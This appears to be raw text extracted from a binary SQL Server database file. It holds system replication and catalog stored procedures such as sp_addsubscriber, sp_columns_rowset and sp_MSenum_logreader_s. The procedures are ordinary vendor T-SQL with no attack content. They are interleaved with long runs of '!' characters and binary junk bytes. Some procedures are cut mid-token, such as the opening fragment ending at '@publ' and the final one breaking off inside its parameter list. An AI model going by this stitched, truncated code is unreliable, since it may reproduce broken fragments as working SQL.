                    end
                    --
                    -- script the part for PK included update clause based on call formats
                    --
                    if (@format = @callformat)
                    begin
                        insert into #proctext(procedure_text) values (
                            @spacer + quotename(@colname) + N' = @c' + convert( nvarchar(10), @art_col ) )
                    end
                    else if (@format in (@mcallformat, @vcallformat, @scallformat))
                    begin
                        select @bytestr = convert( nvarchar(10), 1 + (@art_col-1) / 8 )
                                ,@bitstr =  convert( nvarchar(10), power(2, (@art_col-1) % 8 ) )
                        if sys.fn_isxmlcolumn(@src_objid, @this_col) = 1 and @xmltontext = 0
                            insert into #proctext(procedure_text) values (
                                 @spacer + quotename(@colname) + N' = case substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  
                                N' when ' + @bitstr + N' then ' + N'@c'+ convert( nvarchar(10), @art_col ) + 
                                N' else convert(xml, ' + quotename(@colname) + N') end' )
                        else
                            insert into #proctext(procedure_text) values (
                                 @spacer + quotename(@colname) + N' = case substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  
                                N' when ' + @bitstr + N' then ' + N'@c'+ convert( nvarchar(10), @art_col ) + 
                                N' else ' + quotename(@colname) + N' end' )
                    end
                    else if (@format = @xcallformat)
                    begin
                        insert into #proctext(procedure_text) values (
                            @spacer + quotename(@colname) + 
                            N' = @c' + convert( nvarchar(10), @art_col + @param_count/2) )
                        --
                        -- processing for updating subscribers:if this is the row version column : need to add to where clause
                        --
                        if ((@updsub_check = 1) and (@colname = N'msrepl_tran_version'))
                            select @qwhere_string = N' and msrepl_tran_version = @c' + convert( nvarchar(10), @art_col )                        
                    end
                    select @spacer = N','
                end -- column not identity
                select @art_col = @art_col + 1
            end -- column marked for replication and not computed
            fetch #hccolid into @this_col, @colname
        end -- process each column while block 
        close #hccolid
        deallocate #hccolid
        --
        -- script the where clause for this update statement based on calling format
        -- and if we processed any columns
        --
        if (@fskipallcolumns = 0)
        begin
            if (@format = @xcallformat)
            begin
                exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                                        ,@artid = @artid
                                        ,@prefix = N'@c'
                                        ,@artcolcounter = 1
                                        ,@publishertype = @publishertype
                if (@updsub_check = 1)
                    insert into #proctext(procedure_text) values( @qwhere_string )
            end
            else if (@format = @vcallformat)
            begin
                exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                                        ,@artid = @artid
                                        ,@publishertype = @publishertype
                if (@updsub_check = 1)
                    insert into #proctext(procedure_text) values( N' and msrepl_tran_version = @old_msrepl_tran_version ' )
            end
            else
            begin
                exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                                        ,@artid = @artid
                                        ,@publ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<Zf(#Gl08 D8=h90a 8 
-- add it
create view sys.dm_pdw_nodes_io_cluster_shared_drives as
select *, convert(int, null) pdw_node_id from sys.dm_io_cluster_shared_drives
0f,w #8
create procedure sys.sp_columns_rowset
(
    @table_name     sysname,
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS_90,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE_28, -- for backward compatibility
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH_28, -- for backward compatibility
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH_28, -- for backward compatibility
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION_90,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG_28, -- for backward compatibility
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA_28,  -- for backward compatibility
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME_28,    -- for backward compatibility
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG_28,     -- for backward compatibility
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA_28,      -- for backward compatibility
        COLLATION_NAME          = s_cv.COLLATION_NAME_28,        -- for backward compatibility
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_28,           -- for backward compatibility
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_28,      -- for backward compatibility
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_28,   -- for backward compatibility
        IS_COMPUTED             = s_cv.IS_COMPUTED

    from
        sys.spt_columns_view s_cv

    where
        (
            (@table_schema is null and s_cv.TABLE_NAME = @table_name) or
            s_cv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        ) and
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
0: 	8create procedure sys.sp_MSenum_logreader_s
(
    @name nvarchar(100),
    @hours int = 0, /* @hours < 0 will return TOP 100 */
    @session_type int = 1 /* Return all sessions */
)
as
begin
    set nocount on

    declare @succeed int
    declare @agent_id int
    declare @retry int
    declare @failure int                                 
    declare @min_time datetime

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    if @session_type  not in (1,2)
    begin
        return(1)
    end 
	
    select @agent_id  = (select top 1 id from MSlogreader_agents where name = @name) 
    
    /* 
    ** Status const defined in sqlrepl.h 
    */
    select @succeed = 2
    select @retry = 5
    select @failure = 6
   	select @min_time = NULL
   	
	--
    -- Check @hours
    -- return top 100 rows if < 0
    -- return session later than if > 0
    --
    if @hours < 0
        set rowcount 100
    else if @hours > 0
        select @min_time = dateadd(hour, -@hours, getdate())
        
    /* Get date starting point */
    select rh.runstatus, 
            'start_time' = sys.fn_replformatdatetime(rh.start_time), 
            'time' = sys.fn_replformatdatetime(rh.time), 
            rh.comments, rh.duration, rh.delivery_rate, rh.delivery_latency,
        	rh.delivery_time, rh.delivered_transactions, rh.delivered_commands, rh.average_commands, 
        	hs.action_count,
        	rh.error_id
		from MSlogreader_history rh with (READPAST)
        	join (select agent_id, 
						start_time, 
						count(start_time) as action_count, 
						max(timestamp) as max_timestamp 
					from MSlogreader_history with (READPAST)
					where agent_id = @agent_id
						and comments not like N'<stats state%'
						and (@session_type = 1
							or runstatus = @failure)
					group by agent_id, start_time) as hs
        	on rh.agent_id = hs.agent_id
        		and rh.start_time = hs.start_time
        		and rh.timestamp = hs.max_timestamp
        where time >= @min_time 
        	or @min_time IS NULL
       	order by timestamp desc
end
0`HW 8create procedure sys.sp_MSrepl_init_backup_lsns
as
begin
    -- The stored procedure is called by sp_replicationdboption when changing a dist
    -- db to 'sync with backup' mode
    set nocount on	
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    -- Set the truncate lsns to null. By doing this
    -- the distribution agent will stop calling sp_repldone untill a dist db
    -- backup is done.
    update MSrepl_backup_lsns set valid_xact_seqno = NULL,
    	valid_xact_id = NULL
    if @@error <> 0
    	return 1
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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hk0h 8CREATE FUNCTION sys.fn_MSxe_read_event_stream (
	@source nvarchar(260),
	@source_opt int = 0
)
RETURNS table
AS
	RETURN SELECT *
	FROM OpenRowSet(TABLE FN_MSXE_READ_EVENT_STREAM, @source, @source_opt)
0'z 8create procedure sys.sp_MSreset_queued_reinit 
(
    @subscriber      sysname,                    -- subscriber server name
    @subscriber_db   sysname,                -- subscribing database name. 
    @artid    int                                   -- article id
)
as
begin
    set nocount on
    declare @retcode int
                ,@publication sysname
    --
    -- PAL security check
    -- Get publication name using artid
    --
    select @publication = p.name
    from syspublications p join sysarticles a on p.pubid = a.pubid
    where a.artid = @artid
    if (@publication is null)
    begin
        return (1)
    end
    exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- Validate @subscriber
    --
    --
    -- validate @subscriber_db, @artid
    --
    if exists (select * 
        from dbo.syssubscriptions
        where artid = @artid 
            and srvname = UPPER(@subscriber) 
            and dest_db = @subscriber_db)
    begin
        --
        -- set the reinit flag
        --
        update dbo.syssubscriptions
        set queued_reinit = 0
        where artid = @artid 
            and srvname = UPPER(@subscriber) 
            and dest_db = @subscriber_db
        if (@@error != 0)
            return (1)
    end
    else
    begin
        return (1)
    end
    --
    -- all done
    --
    return (0)
end            
0@ 8create procedure sys.sp_user_counter10 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 10', @newvalue)
0S@ X8
--
-- Name:    
--          sp_enable_heterogeneous_subscription
--          
-- Description: 
--          Enable or disable publication properties for
--			supporting heterogeneous subscriptions.
--  
-- Security: 
--          sysadmin or DBO of publisher db
--
-- Returns:
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_enable_heterogeneous_subscription
(
    @publication	sysname = NULL,
    @publisher		sysname = NULL
) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_enable_heterogeneous_subscription'
	
	EXEC @retcode = @cmd
					@publication,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
0{@ 08create procedure sys.sp_scriptxdelproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptdelproccore 
                @artid = @artid
                ,@format = 3            -- XCALL format
                ,@mode = 1              -- regular scripting mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!aQg`<*-	)9s0 8
create procedure sys.sp_datatype_info
(
    @data_type int = 0,
    @ODBCVer tinyint = 2
)
as
    declare @mintype int
    declare @maxtype int

    set @ODBCVer = isnull(@ODBCVer, 2)
    if @ODBCVer < 3 -- includes ODBC 1.0 as well
        set @ODBCVer = 2
    else
        set @ODBCVer = 3

    if @data_type = 0
    begin
        select @mintype = -32768
        select @maxtype = 32767
    end
    else
    begin
        select @mintype = @data_type
        select @maxtype = @data_type
    end

    select
        TYPE_NAME           = v.TYPE_NAME,
        DATA_TYPE           = v.DATA_TYPE_28,          -- for backward compatibility
        PRECISION           = v.PRECISION_28,          -- for backward compatibility
        LITERAL_PREFIX      = v.LITERAL_PREFIX,
        LITERAL_SUFFIX      = v.LITERAL_SUFFIX,
        CREATE_PARAMS       = v.CREATE_PARAMS_90,      -- for backward compatibility
        NULLABLE            = v.NULLABLE,
        CASE_SENSITIVE      = v.CASE_SENSITIVE_28,     -- for backward compatibility
        SEARCHABLE          = v.SEARCHABLE,
        UNSIGNED_ATTRIBUTE  = v.UNSIGNED_ATTRIBUTE,
        MONEY               = v.MONEY,
        AUTO_INCREMENT      = v.AUTO_INCREMENT,
        LOCAL_TYPE_NAME     = v.LOCAL_TYPE_NAME,
        MINIMUM_SCALE       = v.MINIMUM_SCALE_90,      -- for backward compatibility
        MAXIMUM_SCALE       = v.MAXIMUM_SCALE_90,      -- for backward compatibility
        SQL_DATA_TYPE       = v.SQL_DATA_TYPE_28,      -- for backward compatibility
        SQL_DATETIME_SUB    = v.SQL_DATETIME_SUB_90,   -- for backward compatibility
        NUM_PREC_RADIX      = v.NUM_PREC_RADIX,
        INTERVAL_PRECISION  = v.INTERVAL_PRECISION,
        USERTYPE            = v.USERTYPE

    from
        sys.spt_datatype_info_view v

    where
        v.DATA_TYPE_28 between @mintype and @maxtype and
        v.ODBCVer = @ODBCVer

    order by 2, v.MAPPED_TYPE, 12, 11, 20
0d D8`h' 0d _8create function sys.fn_remote_indexes(
	@server		sysname,
	@catalog	sysname = NULL,
	@tbl_schema	sysname = NULL,
	@name		sysname = NULL,
	@type		smallint = NULL,
	@table		sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_INDEXES, @server, @catalog, @tbl_schema, @name, @type, @table)
0{5
@ >	8
create procedure sys.sp_addsubscriber
(
	@subscriber						sysname,
	@type							tinyint = 0,
	@login							sysname = NULL,
	@password						nvarchar(524) = NULL,
	@commit_batch_size				int = NULL,
	@status_batch_size				int = NULL,
	@flush_frequency				int = NULL,
	@frequency_type					int = NULL,
	@frequency_interval				int = NULL,
	@frequency_relative_interval	int = NULL,
	@frequency_recurrence_factor	int = NULL,
	@frequency_subday				int = NULL,
	@frequency_subday_interval		int = NULL,
	@active_start_time_of_day		int = NULL,
	@active_end_time_of_day			int = NULL,
	@active_start_date				int = NULL,
	@active_end_date				int = NULL,
	@description					nvarchar (255) = NULL,
	@security_mode					int = NULL,  /* backward compatible */ /* 0 standard; 1 integrated */
	@encrypted_password				bit = NULL,
	@publisher						sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	/*
	** Security Check: require sysadmin
	*/
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd            OUTPUT,
													@publisher_type	= @publisher_type OUTPUT

														
	IF @retcode <> 0
		RETURN (@retcode)

	--when called on mirror server, this adds original publiser name 
	--in distribution. (MSsubscriber_info and MSsubscriber_schedule)
	IF @publisher IS NULL
		SET @publisher = publishingservername() 

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_addsubscriber'
	
	EXEC @retcode = @cmd
					@subscriber,
					@type,
					@login,
					@password,
					@commit_batch_size,
					@status_batch_size,
					@flush_frequency,
					@frequency_type,
					@frequency_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@frequency_subday,
					@frequency_subday_interval,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@active_start_date,
					@active_end_date,
					@description,
					@security_mode,
					@encrypted_password,
					@publisher,
					@publisher_type,
					N'PRE-YUKON'

	RETURN (@retcode)
END
0,@ 8
CREATE PROCEDURE sys.sp_MScheckexistsgeneration
    (@genguid uniqueidentifier, @gen bigint output, @pubid uniqueidentifier = NULL)
as
    declare @retcode int
    /*
    ** Check input parameter
    */
    if (@genguid is null)
        begin
            RAISERROR(14043, 16, -1, '@genguid', 'sp_MScheckexistsgeneration')
            return (1)
        end

    -- security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    /* Normal case : do not qualify by pubid */
    if (@pubid IS NULL)
        select @gen = max(generation) from dbo.MSmerge_genhistory where guidsrc = @genguid and genstatus in (1,2)
    else        
    /* If we are reinitializing from an alternate publisher, check if the subscription has received generations for the alternate publication */
        select @gen = max(generation) from dbo.MSmerge_genhistory where guidsrc = @genguid and genstatus in (1,2)
            and ((pubid = @pubid) or (pubid is null))       
    IF @@ERROR <>0 return (1)
    /* OLEDB does not allow output parameter to be NULL - setting it to 0 */
    return (0)
0C@ 88v4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'	F`<R+orsH0o 8
--
-- Name: fn_MSrepl_iv_sp_table
--
-- Description: This function checks sysarticles to see if any base table is 
--			published along with table based indexed view and proc exec 
--			procedures
--
-- Parameters: 
--  @article sysname
-- 
-- Returns: int : 	1 means found, caller should raise 21843
--				0 means not found
--
-- Notes: sp_addarticle is the only caller at this point.
--
-- Security: Not exposed as Public Object
-- Requires Certificate signature for catalog access
-- 
CREATE FUNCTION sys.fn_ftableivprocexec 
(
@tabid int
)
returns bit
as
begin
	 	--adding proc, checking for its dependecies in sysarticles
		if objectproperty(@tabid, 'IsProcedure') = 1 
		begin 
		 	if exists(select 1 from sys.sql_dependencies proc_depends  -- if proc depends on iv
					 		join sysarticles view_arts on proc_depends.referenced_major_id= view_arts.objid 
					 												and objectproperty(view_arts.objid , 'IsView') = 1 --iv entry
							join sys.sql_dependencies view_depends on view_depends.object_id = proc_depends.referenced_major_id  
							join sysarticles table_arts on  table_arts.objid = view_depends.referenced_major_id  --table entry
																	and objectproperty(table_arts.objid, 'IsTable') = 1
							where proc_depends.object_id = @tabid)
			or exists(select 1 from sys.sql_dependencies proc_depends -- if proc depends on table
							join sysarticles table_arts on proc_depends.referenced_major_id = table_arts.objid  --table entry
																	and objectproperty(table_arts.objid, 'IsTable') = 1
							join sys.sql_dependencies view_depends on view_depends.referenced_major_id = proc_depends.referenced_major_id  
					 		join sysarticles view_arts on view_arts.objid = view_depends.object_id --iv entry
					 												and objectproperty(view_arts.objid , 'IsView') = 1
							where proc_depends.object_id = @tabid and objectproperty(proc_depends.referenced_major_id, 'IsTable') = 1)
			begin
				return 1
			end
		end
	 	--adding table, checking for iv and procs depending on it, or iv and proc depending on iv
		if objectproperty(@tabid, 'IsTable') = 1 
		begin
			if exists(select 1 from sys.sql_dependencies view_depends 
							join sysarticles view_arts on view_depends.object_id = view_arts.objid and objectproperty(view_arts.objid, 'IsView') = 1 	--iv entry in sysarticles
							join sys.sql_dependencies proc_depends on proc_depends.referenced_major_id = view_depends.referenced_major_id -- proc depends on table
																			or proc_depends.referenced_major_id = view_depends.object_id -- proc depends on iv
							join sysarticles proc_arts on proc_depends.object_id = proc_arts.objid and  objectproperty(proc_arts.objid, 'IsProcedure') = 1 	--'proc exec' entry in sysarticles 
							where view_depends.referenced_major_id = @tabid )
			begin
				return 1
			end
		end
	 	--adding iv, check for base table and proc depending on either base table or iv
		if objectproperty(@tabid, 'IsView') = 1 
		begin
			if exists(select 1 from sys.sql_dependencies view_depends 
							join sysarticles table_arts on view_depends.referenced_major_id = table_arts.objid and objectproperty(table_arts.objid, 'IsTable') = 1 -- base table entry in sysarticles
							join sys.sql_dependencies proc_depends on proc_depends.referenced_major_id = view_depends.referenced_major_id -- proc depends on table
																				or proc_depends.referenced_major_id = view_depends.object_id  -- proc depends on iv
							join sysarticles proc_arts on proc_depends.object_id = proc_arts.objid  and  objectproperty(proc_arts.objid , 'IsProcedure') = 1 -- 'proc exec' entry in sysarticles
							where view_depends.object_id = @tabid)
			begin
				return 1
			end
		end
		return 0
end	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--

CREATE PROCEDURE sys.sp_MSrepl_checkdatatypemapping
(
	@source_dbms			sysname,
	@source_version			varchar(10)	= NULL,
	@source_type			sysname,
	@source_length			bigint		= NULL,
	@source_precision		int			= NULL,
	@source_scale			int			= NULL,
	@source_nullable		bit			= 1,
	@destination_dbms		sysname,
	@destination_version	varchar(10) = NULL,
	@destination_type		sysname,
	@destination_length		bigint		= NULL,
	@destination_precision	int			= NULL,
	@destination_scale		int			= NULL,
	@destination_nullable	bit			= 1
)
AS
BEGIN
	DECLARE @retcode				int
	
    SET NOCOUNT ON
	set @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- Get list of matching mappings
	IF NOT EXISTS
	(
		SELECT	*
		FROM	sys.fn_MSrepl_getdatatypemappings
			(
				@source_dbms,
				@source_version,
				@source_type,
				@source_length,
				@source_precision,
				@source_scale,
				@source_nullable,
				@destination_dbms,
				@destination_version,
				0,
				NULL
			)
		WHERE	destination_type		= @destination_type
		  AND	(
		  			(destination_length IS NULL AND @destination_length IS NULL) OR
					(destination_length = @destination_length)
				)
		  AND	(
		  			(destination_precision IS NULL AND @destination_precision IS NULL) OR
					(destination_precision = @destination_precision)
				)
		  AND	(
		  			(destination_scale IS NULL AND @destination_scale IS NULL) OR
					(destination_scale = @destination_scale)
				)
		  AND	destination_nullable	= @destination_nullable
	)
    BEGIN
    	IF @destination_type IS NULL
    	BEGIN
    		RAISERROR(21779, 16, -1, @source_type)
    	END
    	ELSE
    	BEGIN
        	RAISERROR(21770, 16, -1, @source_type, @destination_type)
        END
        
		RETURN (1)
	END
	
	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	.<4-#'W0U 8create procedure sys.sp_MSget_load_hint
(
@qualified_source_object_name nvarchar(4000),
@qualified_sync_object_name nvarchar(4000),
@primary_key_only bit = 0,
